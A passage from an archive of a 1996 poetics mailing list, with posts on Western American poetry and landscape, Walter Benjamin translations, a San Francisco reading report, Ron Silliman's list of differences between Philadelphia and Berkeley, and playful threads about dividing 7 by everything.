suspect the idea of "harsh isolation" and "the west" is not about western writing in any large geographic sense. For example it doesn't apply to the Pacific Slope or the California side of at least the northern parts of the Sierra - which hisitorically has been much associated with notions of the sublime, nature's land of plenty, Eden etc. And it doesn't apply to the southwest - New Mexico, Arizona, at least the geographic parts of those states that that have strong non-Anglo Hispanic and Indian presences - Anastasi, Hopi, Navajo etc. - and all the attendant histories and myths. The "harsh isolation" gets more attached to Nevada's Great Basin - and its various "high desert" extensions into Oregon, Washington, Idaho, Colorado, Sothern California, etc. - where the "bleakness" appears to be much less impacted by "cultures" - Indian, Anglo or otherwise. Though I'm not as familiar with the plains states, from Dakotas to Texas, "The harsh isolation" there perhaps has a different character. I would agree that Ed Dorn, Ken Irby - students of Olson - have purposely "lived" through the land (its history, geological patterns and shapes, etc.) and written moving work within that scope in which the individual, and his moves, are directly shaped, by the facts of the landscape. In terms of the Great Basin, however, the myth of "harsh isolation" - its bleakness as a back drop or set to the personal experience - belies the history of the use of the space. Most every square inch of the Great Basin has been scoped and used for its mineral and underground water wealth. Much less visibly the military (for nuclear testing, bombing practice) maintains a huge presence across the terrain. (I think the military owns about 80% of Nevada).The land's isolation is belied by corporate, government and military habitation. Some of the prose writers (Terry Tempest Williams) have gone after the cancerous nuclear consequences of this impact. But I believe its the photographers (Robert Adams, Peter Goins, Mark Klett - and other members of the "rephotography project - and Richard Misrach) who have done the investigating - some of it quite brave - and taken a close look at the facts of what has occured within these parts of the West. Among current poets, Laura Moriarty has some great stuff about some of these landscapes. Occasionally I think Kirk Robertson - the current poet laureate of Nevada - captures the character of living within "basin and range." This is a windy answer. Primarily I want to suggest that "harsh isolation" puts a personal and lyric limit on a area of the west that is much more complicated and pivotal (economically, culturally, etc.) in terms of national consequence - and its probably a good question as to why more poets -- to my knowledge - in the large have not touched on the subject, and photographers have. Yes -- re Kevin Killian -- the current show, CROSSING THE FRONTIER (Sandy Phillips, curator), an exploration of the use of the land in 19th and 20th Century photographs (from the 100th Meridian to the Pacific) is a wonderful and disturbing show at SF Museum of Modern Art- of which there is a good catalog published by Chronicle Books. Not without elegance, it is a definitely a post-sublime view and interpretation of Western landscapes.

Stephen Vincent

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388. **Pritchett,Pat**
Re: here here (there there)
Sat 23 Nov 1996

Maria,

That sounds like a very interesting approach to _The Heat Bird_,which I only recently obtained and am loving. Some of what your student refers to is covered in a book called _American Ground Zero_, by Carole Gallagher, which is imperative reading - as sad a book as one cld read.

Patrick Pritchett

From: maria damon
To: POETICS
Subject: Re: here here (there there)
Date: Saturday, November 23, 1996 9:20AM

In message <[redacted]> UB Poetics
discussion group writes:
> I'll second Charles A on Mei-mei as a western poet. Whenever I read or hear
> one of her poems I think I'm in New Mexico; whenever I drive in New Mexico I
> think I'm reading one of Mei-mei's poems. which are almost entirely
> abstract (so it's no mean feets) : it's something about how the planes of
> words are like the planes of mountains (plains of sky?) over in NM (I never
> think of Mei-mei when I drive in AZ).
>
> (and then there's /Tan-Tien/, which Charles published. a whole NOTHER
> story.)
>
> Tenney

yes; tho' on the subject of abstraction; i had a student in a class, who was actually a history student, who wrote a wonderful paper on The Heat Bird as a critique of nuclear power/bomb development and the wreckage it wrought in the southwest...good research on a group of women in (nevada? colorado? new mexico?) who have suffered severe reproductive damage...etc. very very grounded in history and context.--md

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389. **steph4848**
Test
Sat 23 Nov 1996

Test

↑ Index

390. **Franklin Bruno**
benjamin queries
Sat 23 Nov 1996

Just looking for a little information here:

1) Is there an English edition of Benjamin's -One-Way Street- either in print or likely to be found used? 2) Does anyone know of a source for -tapes- (I need a tape, not a transcript) of any of Benjamin's radio broadcasts, esp. the ones for children? 3) Are large chunks of the collected writings still untranslated, i.e. some of the -Konvoluts- (notes for the Arcades Project)?

Backchannel is fine.

↑ Index

391. **Stephen Cope**
Re: the poets and land and landing poets
Sat 23 Nov 1996

---

k.a. hehir wrote:

> *my query is twofold. are there any western american writers that i could read that use the harsh isolation as a springboard for verse.(i don't mean cowboy poetry)? (2) are there any prairie poets who,have been able to transcend the lingo of the farm/slough/seasons/quanset(sp?) hut/hockey/trapping/chiasmustic seasonal changes.*

William Everson might help. Check out his poems (Black Sparrow has published a few collections) as well as his essays, particularly _Archetype West: The Pacific Coast as a Literary Region_, from Oyez Press...

-Stephen Cope

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392. **Steve Carll**

Canessa Park reading report 11-17-96

Sat 23 Nov 1996

I had a cold but I bundled up and went down to Canessa Park Gallery in downtown San Francisco, vowing not to talk excitedly at anybody lest I send an overabundance of cold germs at them.

MC Avery Burns introduced Etel Adnan and she read first, a diminutive, timid, sweet Palestinian lady who lives in Sausalito. She read a sequence of what she called "returns" from her new book, _Manifestations of the Voyage_, written in 1988-9. They're returns, she said, to the earth, left behind since 1969 when humans walked on the moon. Some of the lines I caught were:

"exile, immigration, the voyage are the stations of knowledge"
"There is another kind of silence. It belongs neither to the leaves nor to the dead."
"I love rains which carry desires to oceans"
"my hair spins with sunflowers"
"I stand on a ladder between two infinities.
I don't know whether I'm in this world
or into its mirror."
"happiness was fierce on the beaches in late afternoons"
"Death is like a talk show"
"we carry the burden of subversion and astonishment"
"I go with speed and love into the night"
"how shall we transform pomegranite seeds into alchemical vapors?"
"alarmed by their excessive sap, the sky runs to the rescue, as a woman would"
"I saw authority changed into an ape-like adolescent"
"words became my landscape"
"when dawn explodes far and away, my body is near elimination"
"all the nigaras unleashed on a single cell in my brain"
"then it was time for ice cream and biscuits downtown"
"I came back to the heart of the halogen light. The Greek Empress moves forward, forward"
"immobility has doomed the voyage to nothingness"

After a break, writer and Mills College teacher Stephen Ratcliffe read from 3 works, _Sculpture_, _Conversation_, and _Ideas Mirror_ (named after Drayton's sonnet sequence of 1590-1610). The distinctive element I came away from Stephen's reading with was his exploration of the appositive, particularly the adjectival appositive. Some of his lines were:

"space, blank, may be said to divide lines on a page"
"waking up elsewhere, in brackets"

"three red shapes swimming in place of philosophy"
an epigraph from Heidegger: "whatever lingers awhile becomes present as it lingers in the jointure...between a twofold absence"
"like a bird in place"
"two arms pulling into her"
"person upstairs, for example, before thinking"

The audience included Pamela Lu (who's reading with Charles Cantalupo at Canessa this Sunday), Mary Burger, Robert Grenier, Steve Tills, Eric Selland, Renee Gladman, Barbara Guest, and Margie Sloan.

****
[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

393. **Gwyn McVay**
Re: queer beats
Sat 23 Nov 1996

---

which is really Brion Gysin's cut-up method, right? Or was that part of the presentation? --Gwyn

On Sat, 23 Nov 1996 [redacted] wrote:

> *Kevin--Hate to ask for more after you just expended yourself on such a long, groovy post, but i gotta know about that "deconstruction of Burroughs's cut-up method." Do tell! steve*

↑ Index

394. **Dan & Lynda L. Imburgia**
Re: benjamin queries
Sat 23 Nov 1996

Yes, Benjamin's "One Wat Street..." is in English, London, NLB, 1978. = "illuminations," "Reflections," etc. as well. No English Trans. of = "Passagen-Werk," or "Arcades Project," (Konvolut V, i believe) though i = was told by one

bookseller may be available next fall through Harv UP. = I also have been looking for tapes or transcripts of his radio = broadcasts, would appreciate it if anyone can help thanks, dan

dan imburgia <[redacted]> or [redacted]

From: Franklin Bruno[SMTP:[redacted]]
Sent: Saturday, November 23, 1996 1:21 PM
To: [redacted]
Subject: benjamin queries

Just looking for a little information here:

1) Is there an English edition of Benjamin's -One-Way Street- either in print or likely to be found used? 2) Does anyone know of a source for -tapes- (I need a tape, not a transcript) of any of Benjamin's radio broadcasts, esp. the ones for children? 3) Are large chunks of the collected writings still untranslated, i.e. some of the -Konvoluts- (notes for the Arcades Project)?

Backchannel is fine.

↑ Index

395. **maria damon**
Re: benjamin queries
Sun 24 Nov 1996

---

i saw an ad for the radio broadcasts for children published as a book in an academic book catalogue some years ago. cd it be chicago? someone else probably knows better. md

In message <[redacted]> UB Poetics discussion group
writes:
> Just looking for a little information here:
>
> 1) Is there an English edition of Benjamin's -One-Way Street- either
> in print or likely to be found used?
> 2) Does anyone know of a source for -tapes- (I need a tape, not a
> transcript) of any of Benjamin's radio broadcasts, esp. the ones for
> children?
> 3) Are large chunks of the collected writings still untranslated,
> i.e. some of the -Konvoluts- (notes for the Arcades Project)?
>
> Backchannel is fine.

↑ Index

396. Tenney Nathanson
more Mei-mei
Sun 24 Nov 1996

Maria wrote:

>yes; tho' on the subject of abstraction; i had a student in a class, who was
>actually a history student, who wrote a wonderful paper on The Heat Bird as a
>critique of nuclear power/bomb development and the wreckage it wrought in the
>southwest...good research on a group of women in (nevada? colorado? new mexico?)
>who have suffered severe reproductive damage...etc. very very grounded in
>history and context.--md

Maria--do you think there's this same sort of historical specificity in /Empathy/, say? I'd guess not but I don't really know.

(I chaired a strange panel--my fault no doubt--at the Tucson Poetry Festival some years back--Mei-mei was one of the poets. I didn't manage to ask anything very useful, I think, but mentioned a la Ashbery, I dunno quite in what connection anymore, that Kennth Koch used to say (in class) that reading Ashbery was like: going up to his doorbell and ringing, being let in, being given a fascinating if kinda quick tour of the apt., being all warmed up and ready to settle down for a good talk and visit, and finding oneself suddenly somehow back at JA's front door, hand shaken, shown out. Mei-mei averred as how she went to visit JA once, and that's exactly what actually happened. I like that. koan for some strange nation....

Tenney

↑ Index

397. George Bowering
Re: the poets and land and landing poets
Sun 24 Nov 1996

Aha! So some USAmericans stole the name _Grain_ off our Canadian litmag _Grain_ for their own purposes! Just goes to show.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

398. George Bowering
Re: dildo update
Sun 24 Nov 1996

I am glad that this serious subject has again found its way back into our discussions. I, for a while, was nervous about reminding people of that highly important poem , H.D.'s "Dodona"" Part XII begins

Are these ashes in my hand
or a wand
to conjure a butterfly

.....

I am confident that experienced HD readers (such as M. B.) will know what is going on there.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

399. George Bowering
Re: here here (there there)
Sun 24 Nov 1996

In the 60s Keith Wilson was writing some pretty interesting western poetry.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

400. George Bowering
Re: math
Sun 24 Nov 1996

This question has been bugging me for a week, ever since I thought of it:

What is 7 divided by everything?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

401. Alan Jen Sondheim
Re: math
Sun 24 Nov 1996

Zero.

On Sun, 24 Nov 1996, George Bowering wrote:

> *This question has been bugging me for a week, ever since I thought of it:*
>
> *What is 7 divided by everything?*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]
> *e-mail:* [redacted]

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
Tel. [redacted] CuSeeMe: 166.84.250.149

↑ Index

402. **Ron Silliman**
East
Sun 24 Nov 1996

>
>Date: Sat, 23 Nov 1996 09:03:38 -0600
>From: maria damon <[redacted]>
>Subject: Re: West
>
>ron, as a bred-in-the-bone californian who has only recently arrived
on the east
>coast, what are your impressions of its geocultural characteristics,
i.e. how is
>it "regional"? i'm curious since i'm such a bred-in-the-bone easterner
and can't
>see it as an ethnographer/outsider.--md
>

Actually, Maria, I was born in the shadows of the Hanford nuclear reactor plant outside of southeastern Washington (as was Michael Amnasan), roughly one year after its most famous product was dropped on the people of Nagasaki.

But it's true that my mother's family goes back in the Berkeley/Oakland areas into the 1880s.

The differences between Philly and Berkeley are too many to catalog and I'm still coming across them every week if not every day. Some of the more obvious seem to me to be:

The sledgehammer shift of seasons, nothing like the gliding subtleties of California.

The sense of history: families that have been here two and three hundred years (especially out where I am on the Main Line) have really consolidated their hold on things.

No decent Mexican restaurants.

NFL starts in the afternoon on Sundays and lasts until after midnight.

You can drive through several states in a single afternoon.

50 zillion colleges hereabouts really shifts the balance between public and private higher education (not sure what it means, but it must mean somethin'). [I've been invited to do more things at Penn in 18 months that I was at UC Berkeley in the last 18 years.]

NO good bookstores. I realize how spoiled I was to live one block from Small Press Distribution (sob). I had the idea that you could look at and browse and touch a book of poems before you bought it.

No real reading series here at all. Too close to NYC in one sense. There's a big gap, so far as I can tell, between writers still in college (Josh Schuster, who's on the list, has been the major mover hereabouts; hopefully Louis Cabris and Gregg Biglieri [from New College to Temple] will step things up some) and the older "mid-career" types who live in Philadelphia for reasons other than that's the big city where they moved to become poets. (i.e., people don't move to Philly for that reason, they move to NYC or SF)

Liquor stores as a function of the state. Automobile registration as a mom & pop shop (closest thing down here to NYC's bodegas).

The mafia as local spectator sport (we're a two-team town; NYC is a 5 team town -- they take free agency VERY seriously).

The Mummers ain't the Cockettes.

Children out here are taught to call people "Mr" & "Mrs" and their parents will get mad at you if you suggest that they use your first name.

Flag day is taken seriously (Betsy Ross was a local and is treated as same).

Ed Rendell IS Dianne Feinstein (they even look alike).

People think that Krishna using her maiden name is one of those "kooky California" things and so they just call her Mrs Silliman anyway.

Much better radio. You don't realize just how lousy San Francisco radio is until you hear the choices out here (now if only we had a Pacifica station).

You get four times the house for the same amount of money.

The earth don't shake. I see the kinds of supports that freeway overpasses have here and shudder to imagine what would happen when and if....

Brick as a building material. The automobile tire as the standard unit of litter.

Really solid local poets, Julia Blumenreich, Gil Ott, Eli Goldblatt, a lot of the folks around 6ix (in that sense, not unlike DC or San Diego), as well as us transplants.

Creeks that would be called rivers if they were in California. Mountains that are no larger than Albany Hill.

No baseball scores from the west coast.

The Amish and Mennonites and Quakers as an active presence in the community and region. Black buggies with big orange triangles.

Old stone farm houses everywhere (beautiful to look at but they have small rooms and problematic fixtures [electricity and plumbing as "add ons"]).

Email as your primary contact with other poets....

Shovelling snow or raking leaves as a "must-do" chore.

What else?
Ron

↑ Index

403. **maria damon**
Re: queer beats
Sun 24 Nov 1996

---

if u read harold norse's memoirs of a bastard angel, it's *his* cut-up method. ownership and intellectual property weren't really a part of the presentation, which was marvelous, very touching and smart.--md

In message <[redacted]> UB Poetics
discussion group writes:
> which is really Brion Gysin's cut-up method, right? Or was that part of
> the presentation? --Gwyn
>
> On Sat, 23 Nov 1996 [redacted] wrote:
>
> > Kevin--Hate to ask for more after you just expended yourself on such a
> > long, groovy post, but i gotta know about that "deconstruction of
> > Burroughs's cut-up method." Do tell! steve
> >

↑ Index

404. **maria damon**
Re: East
Sun 24 Nov 1996

---

thanks ron. i relate to the mr and mrs part, except that since my dad was "dr damon," i called everyone "dr and mrs," thinking that "mr" was belittling. our nextdoor neighbors for a while when i was very young let their kids call them by their first names. their daughter, my age, also told me that they "didn't believe in spanking." i assumed she was lying. spanking was like eating, not something one believed in, but something that happened.--md

In message <[redacted]> UB Poetics discussion
group writes:

> >
> >Date: Sat, 23 Nov 1996 09:03:38 -0600
> >From: maria damon <[redacted]>
> >Subject: Re: West
> >
> >ron, as a bred-in-the-bone californian who has only recently arrived
> on the east
> >coast, what are your impressions of its geocultural characteristics,
> i.e. how is
> >it "regional"? i'm curious since i'm such a bred-in-the-bone easterner
> and can't
> >see it as an ethnographer/outsider.--md
> >
>
>
> Actually, Maria, I was born in the shadows of the Hanford nuclear
> reactor plant outside of southeastern Washington (as was Michael
> Amnasan), roughly one year after its most famous product was dropped on
> the people of Nagasaki.
>
> But it's true that my mother's family goes back in the Berkeley/Oakland
> areas into the 1880s.
>
> The differences between Philly and Berkeley are too many to catalog and
> I'm still coming across them every week if not every day. Some of the
> more obvious seem to me to be:
>
> The sledgehammer shift of seasons, nothing like the gliding subtleties
> of California.
>
> The sense of history: families that have been here two and three
> hundred years (especially out where I am on the Main Line) have really
> consolidated their hold on things.
>
> No decent Mexican restaurants.
>
> NFL starts in the afternoon on Sundays and lasts until after midnight.
>
> You can drive through several states in a single afternoon.
>
> 50 zillion colleges hereabouts really shifts the balance between public
> and private higher education (not sure what it means, but it must mean

> somethin'). [I've been invited to do more things at Penn in 18 months
> that I was at UC Berkeley in the last 18 years.]
>
> NO good bookstores. I realize how spoiled I was to live one block from
> Small Press Distribution (sob). I had the idea that you could look at
> and browse and touch a book of poems before you bought it.
>
> No real reading series here at all. Too close to NYC in one sense.
> There's a big gap, so far as I can tell, between writers still in
> college (Josh Schuster, who's on the list, has been the major mover
> hereabouts; hopefully Louis Cabris and Gregg Biglieri [from New College
> to Temple] will step things up some) and the older "mid-career" types
> who live in Philadelphia for reasons other than that's the big city
> where they moved to become poets. (i.e., people don't move to Philly
> for that reason, they move to NYC or SF)
>
> Liquor stores as a function of the state. Automobile registration as a
> mom & pop shop (closest thing down here to NYC's bodegas).
>
> The mafia as local spectator sport (we're a two-team town; NYC is a 5
> team town -- they take free agency VERY seriously).
>
> The Mummers ain't the Cockettes.
>
> Children out here are taught to call people "Mr" & "Mrs" and their
> parents will get mad at you if you suggest that they use your first
> name.
>
> Flag day is taken seriously (Betsy Ross was a local and is treated as
> same).
>
> Ed Rendell IS Dianne Feinstein (they even look alike).
>
> People think that Krishna using her maiden name is one of those "kooky
> California" things and so they just call her Mrs Silliman anyway.
>
> Much better radio. You don't realize just how lousy San Francisco radio
> is until you hear the choices out here (now if only we had a Pacifica
> station).
>
> You get four times the house for the same amount of money.
>

> The earth don't shake. I see the kinds of supports that freeway
> overpasses have here and shudder to imagine what would happen when and
> if....
>
> Brick as a building material. The automobile tire as the standard unit
> of litter.
>
> Really solid local poets, Julia Blumenreich, Gil Ott, Eli Goldblatt, a
> lot of the folks around 6ix (in that sense, not unlike DC or San
> Diego), as well as us transplants.
>
> Creeks that would be called rivers if they were in California.
> Mountains that are no larger than Albany Hill.
>
> No baseball scores from the west coast.
>
> The Amish and Mennonites and Quakers as an active presence in the
> community and region. Black buggies with big orange triangles.
>
> Old stone farm houses everywhere (beautiful to look at but they have
> small rooms and problematic fixtures [electricity and plumbing as "add
> ons"]).
>
> Email as your primary contact with other poets....
>
> Shovelling snow or raking leaves as a "must-do" chore.
>
> What else?
> Ron

↑ Index

405. **maria damon**

Re: more Mei-mei

Sun 24 Nov 1996

In message <[redacted]> UB Poetics
discussion group writes:
> Maria wrote:
>
> >yes; tho' on the subject of abstraction; i had a student in a class, who was
> >actually a history student, who wrote a wonderful paper on The Heat Bird
as

> a
> >critique of nuclear power/bomb development and the wreckage it wrought
in
> the
> >southwest...good research on a group of women in (nevada? colorado? new
> mexico?)
> >who have suffered severe reproductive damage...etc. very very grounded in
> >history and context.--md
>
> Maria--do you think there's this same sort of historical specificity in
> /Empathy/, say? I'd guess not but I don't really know.
>
> (I chaired a strange panel--my fault no doubt--at the Tucson Poetry Festival
> some years back--Mei-mei was one of the poets. I didn't manage to ask
> anything very useful, I think, but mentioned a la Ashbery, I dunno quite in
> what connection anymore, that Kennth Koch used to say (in class) that
> reading Ashbery was like: going up to his doorbell and ringing, being let
> in, being given a fascinating if kinda quick tour of the apt., being all
> warmed up and ready to settle down for a good talk and visit, and finding
> oneself suddenly somehow back at JA's front door, hand shaken, shown out.
> Mei-mei averred as how she went to visit JA once, and that's exactly what
> actually happened. I like that. koan for some strange nation....
>
> Tenney

↑ Index

406. **maria damon**
Re: more Mei-mei
Sun 24 Nov 1996

---

oops, fired that one off before responding. i don't know Empathy well, but i'd like to think that a case for historical specificity can be made for any piece of writing.--md

In message <[redacted]> UB Poetics
discussion group writes:
> Maria wrote:
>
> >yes; tho' on the subject of abstraction; i had a student in a class, who was
> >actually a history student, who wrote a wonderful paper on The Heat Bird
as
> a
> >critique of nuclear power/bomb development and the wreckage it wrought

in
> the
> >southwest...good research on a group of women in (nevada? colorado? new
> mexico?)
> >who have suffered severe reproductive damage...etc. very very grounded in
> >history and context.--md
>
> Maria--do you think there's this same sort of historical specificity in
> /Empathy/, say? I'd guess not but I don't really know.
>
> (I chaired a strange panel--my fault no doubt--at the Tucson Poetry Festival
> some years back--Mei-mei was one of the poets. I didn't manage to ask
> anything very useful, I think, but mentioned a la Ashbery, I dunno quite in
> what connection anymore, that Kennth Koch used to say (in class) that
> reading Ashbery was like: going up to his doorbell and ringing, being let
> in, being given a fascinating if kinda quick tour of the apt., being all
> warmed up and ready to settle down for a good talk and visit, and finding
> oneself suddenly somehow back at JA's front door, hand shaken, shown out.
> Mei-mei averred as how she went to visit JA once, and that's exactly what
> actually happened. I like that. koan for some strange nation....
>
> Tenney

↑ Index

407. **Gwyn McVay**
Re: the poets and land/Wm. Everson
Sun 24 Nov 1996

William Everson's big collected poems from Black Sparrow Press is called /A Prodigious Thrust,/ one of those tit(il)les that always stops me in amazement and I smack my forehead and go "I-don't-be-LIEVE-he called his book that!" Although you have to admit it FAR outdoes Robert Bly on the manliness quotient.

Gwyn

↑ Index

408. **aerialedge**
Re: benjamin queries
Sun 24 Nov 1996

---

yes, there is a U.K. Verso edition of _One-Way Street and Other Wrtings_, this is also true of the Baudelaire book, part of which is in _Illuminations_ -- St Mark's used to get them on the sly -- some American booksellers (a few) have ability to

get British books -- Olsson's in DC, more than one Boston store seem to have that "connection." A good book search service might turn those up, or maybe Serendipity in Berkeley. . . Much of _One-Way Street & Other Writings_ is in _Reflections_-- tho in the Brit you get all of "One-Way Street," "A Small History of Photography" and "Edward Fuchs, Collector and Historian."

Harvard is bringing out over the next several years a Collected Benjamin, the first one slated for this month-- don't know what it includes-- certainly the Arcades Project will be represented. Verso's also supposed to be bringing out a biography of Benjamin that's been very well received in Europe, not at work so can't get you the author. I'll let the list know when these are available.

--Rod

↑ Index

409. Aldon L. Nielsen
Re: math
Sun 24 Nov 1996

7/everything = mind/body = 42

↑ Index

410. Rosemary Ceravolo
Re: spam
Sun 24 Nov 1996

Filch? What is filch, the ingredients in Spam?

Rosemary

.....

On Thu, 21 Nov 1996 [redacted] wrote:

> *This is Dodie Bellamy.*
>
> *To those of you fellow listservers who are being spammed by filch and want to do something about it, this is what I've read you should do:*
>
> *You send the message with full headers to <postmaster> at the origininating account, in this case:*
>
> [redacted]
>
> *Frankly, I don't know if this will work with pair.com since they are different than a regular service provider. (If you ever get one of these spams from aol, the address is <[redacted]>.)*
>
> *You should begin with something like the following:*

> *I received the following unsolicited bulk email ("spam"), which apparently originated from your site. Please take appropriate action to ensure this doesn't happen again.*

↑ Index

411. **Dan Raphael Dlugonski**
Re: Western poets
Sun 24 Nov 1996

Speaking up for the northwest corner-- there's William Stafford, Theordore Roethke, and less know 'regional' poets like George Venn and Laura Winter (both write of the northwest's high deserts).

↑ Index

412. **robert zamsky**
Re: benjamin queries
Sun 24 Nov 1996

A bookstore that has always come through for me with even the most difficult or obscure queries has been the Seminary Coop Bookstore in Chicago. Yoou can reach them at [redacted]

Rob Z>
> Just looking for a little information here:
>
> 1) Is there an English edition of Benjamin's -One-Way Street- either
> in print or likely to be found used?
> 2) Does anyone know of a source for -tapes- (I need a tape, not a
> transcript) of any of Benjamin's radio broadcasts, esp. the ones for
> children?
> 3) Are large chunks of the collected writings still untranslated,
> i.e. some of the -Konvoluts- (notes for the Arcades Project)?
>
> Backchannel is fine.
>

↑ Index

413. Henry Gould
Re: Western poets
Sun 24 Nov 1996

Let's not forget Chester Sprats, born in Hibbing, I believe, worked on a lif
ranch in Cora Wyo. for most of his life. Inventor of the poetic form
called Yippi-ti-haiku - a three-liner with syllables 11-8-8, & must
include the word "stirrup". Here's a sample:
I lifted up mine eyes unto them Rockies
where ends at last the endless plain
and said - I think it's gonna rain.

Whoops - musta been one of Chester's juvenilia. I see he left out the
stirrup.
- HG

↑ Index

414. George Bowering
Re: John Wieners (Poetry City 11/7)
Sun 24 Nov 1996

Yes, I remember that in 1966 John Wieners would read for about 15 minutes. Once in Montreal, he read for 15 minutes, then took a long break (in nearby bar) and then read the same poems, for another 15 minutes. You know, it was okay!

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

415. Tom Beard
Re: math
Sun 24 Nov 1996

Aldon L. Nielsen wrote:
>
> 7/everything = mind/body = 42

Therefore everything = 7/42 = 1/6. It's a small world after all.

↑ Index

416. Loss Glazier
In the News
Sun 24 Nov 1996

The Electronic Poetry Center is listed on p. 34 of the current _Poets & Writers_ magazine (Nov/Dec 1996). This issue has a several page feature on "Literary E-Zines". Somewhat of a skewed treatment I'd say. (Lines something like - a hot spot for the emerging new writer to first see publication and - accepts previously published work and simultaneous submissions! This last comment painting the electronic press as a kind of bastard second to print and an easy score ...)

Another note, my review of _Poems for the Millennium_ is just out in the most recent issue of _Agni_.

```
-----------------------------------------------------
|        Loss Glazier <[redacted]>      |
-----------------------------------------------------
```

↑ Index

417. Judy Roitman
Re: the poets and land and landing poets
Sun 24 Nov 1996

Lee Chapman points out to me that John Moritz should be added to the list.

```
---------------------------------------------------------------------------- Judy Roitman
|    "Glad to have Math, University of Kansas              |     these copies of things
Lawrence, KS 66045                    |     after a while." [redacted]
|                Larry Eigner, 1927-1996
-----------------------------------------------------------------------------
```

↑ Index

418. Judy Roitman
Re: West
Sun 24 Nov 1996

> *Buffalo IS the "mid-west",*

Not possible. Ohio is the east, and Buffalo is east of that.

Of course when I was growing up in NY, Ohio was the west. And Staten Island was definitely the midwest (this was before the Verrazano Bridge).

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

419. **Judy Roitman**
Re: Western poets
Sun 24 Nov 1996

> *Let's not forget Chester Sprats, born in Hibbing*

Let's not forget Bob Zimmerman either, eh?

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

420. **Judy Roitman**
Re: oh give me a home
Sun 24 Nov 1996

> *Clearly, some poets feel compelled to confront "landscape"*

"Feel" "compelled" "confront" -- nah. Some folks just seem to breath it in and out.

Me, I'm with Maria, in exile from my true coastal home(s), but even us coastal types can get Kansas when it's Irby or McCrary talking.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

421. **shemurph**
Re: Canessa Park reading report 11-17-96
Sun 24 Nov 1996

Thanks to Steve Carll for sharing the Canessa Park reading. Etel Adnan has been significant in my reading, and I was glad to hear about her.

Sheila Murphy

↑ Index

422. **Wendy Battin**
math/ what you get for absolutes
Mon 25 Nov 1996

George,
Everything is one.
7/1 = 7.

Everything is nothing.
7/0 is irrational.

Take your pick.

Wendy, courtesy of Sirius Cybernetics

↑ Index

423. **Tenney Nathanson**
sheets of sound (sound of sheets)
Mon 25 Nov 1996

I'd like to take Ron Silliman's beautiful post about Philly versus Berkeley and set it to music--say, My Favorite Things? say, as done by Coltrane?

anyway thanks for the lovely post Ron.

(how about: treated drinking water that once lived in the Schuykill?)

or the Restaurant Renaissance (do they still call it that, talk about it? there's a great place here in Tucson--Presidio Grill--that folks keep telling me is just like a NYC restaurant--but really it's just like a Restaurant Renaissance restaurant [only better done])

Tenney

↑ Index

424. Tenney Nathanson
Mr. who?
Mon 25 Nov 1996

>Date: Sun, 24 Nov 1996 08:46:07 -0600
>From: maria damon <[redacted]>
>Subject: Re: East
>
>thanks ron. i relate to the mr and mrs part, except that since my dad was "dr
>damon," i called everyone "dr and mrs," thinking that "mr" was belittling. our
>nextdoor neighbors for a while when i was very young let their kids call
them by
>their first names. their daughter, my age, also told me that they "didn't
>believe in spanking." i assumed she was lying. spanking was like eating, not
>something one believed in, but something that happened.--md

moving out here to Tucson from mostly NYC (with a little greater Philadelphia thrown in at the last minute) c. etat 40, I was really thrown by all the dental receptionists happily calling me (right off the bat) tenney. now it just seems like polite doing business.

coming east, the sudden surge of Dark Suits at O'Hare feels like a border checkpoint....

(but I still teach Ashbery and O'Hara and Koch in my classes--will have to throw in that particular towel soon I guess)(also I love teaching /Bartleby/ to undergrads and having [getting] to explain what an airshaft is)

T.

↑ Index

425. Tenney Nathanson
Convolut-ed message
Mon 25 Nov 1996

> *Harvard is bringing out over the next several years a Collected Benjamin, the first one slated for this month-- don't know what it includes-- certainly the Arcades Project will be represented. Verso's also supposed to be bringing out a biography of Benjamin that's been very well received in Europe, not at work so can't get you the author. I'll let the list know when these are available.*
>
> *--Rod*

!!!!!

great news.

("workers bravo")

↑ Index

426. George Bowering
Re: West
Mon 25 Nov 1996

> *Buffalo IS the "mid-west",*

When I was a kid in B.C. I used to hear about the Dodgers making a "western trip". This meant Chicago and St. Louis. Ridiculous. The beginning of the east is Duluth, for sure. Duluth is the first eastern city you see when yr heading eastward on Highway 2.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

427. George Bowering
Re: math/ what you get for absolutes
Mon 25 Nov 1996

Okay, it is becoming obvious that all the intellectuals on this list will never get me to understand what 7 divided by everything is. Well, I dont care!

But here is another question:

How come "there's no time like the present"?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

428. George Bowering
Re: sheets of sound (sound of sheets)
Mon 25 Nov 1996

I too enjoyed the long and sweet Silliman post; and of course thought of all sorts of differences.For one thing, Berkeley is west of Duluth, and that must count for something.

Regarding Tenney's header: I once saw John Coltrane's whole classic quartet lying on the beach in Oregon, sleeping in the sun. Under sheets of sand.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

429. Alan Jen Sondheim
Re: math/ what you get for absolutes
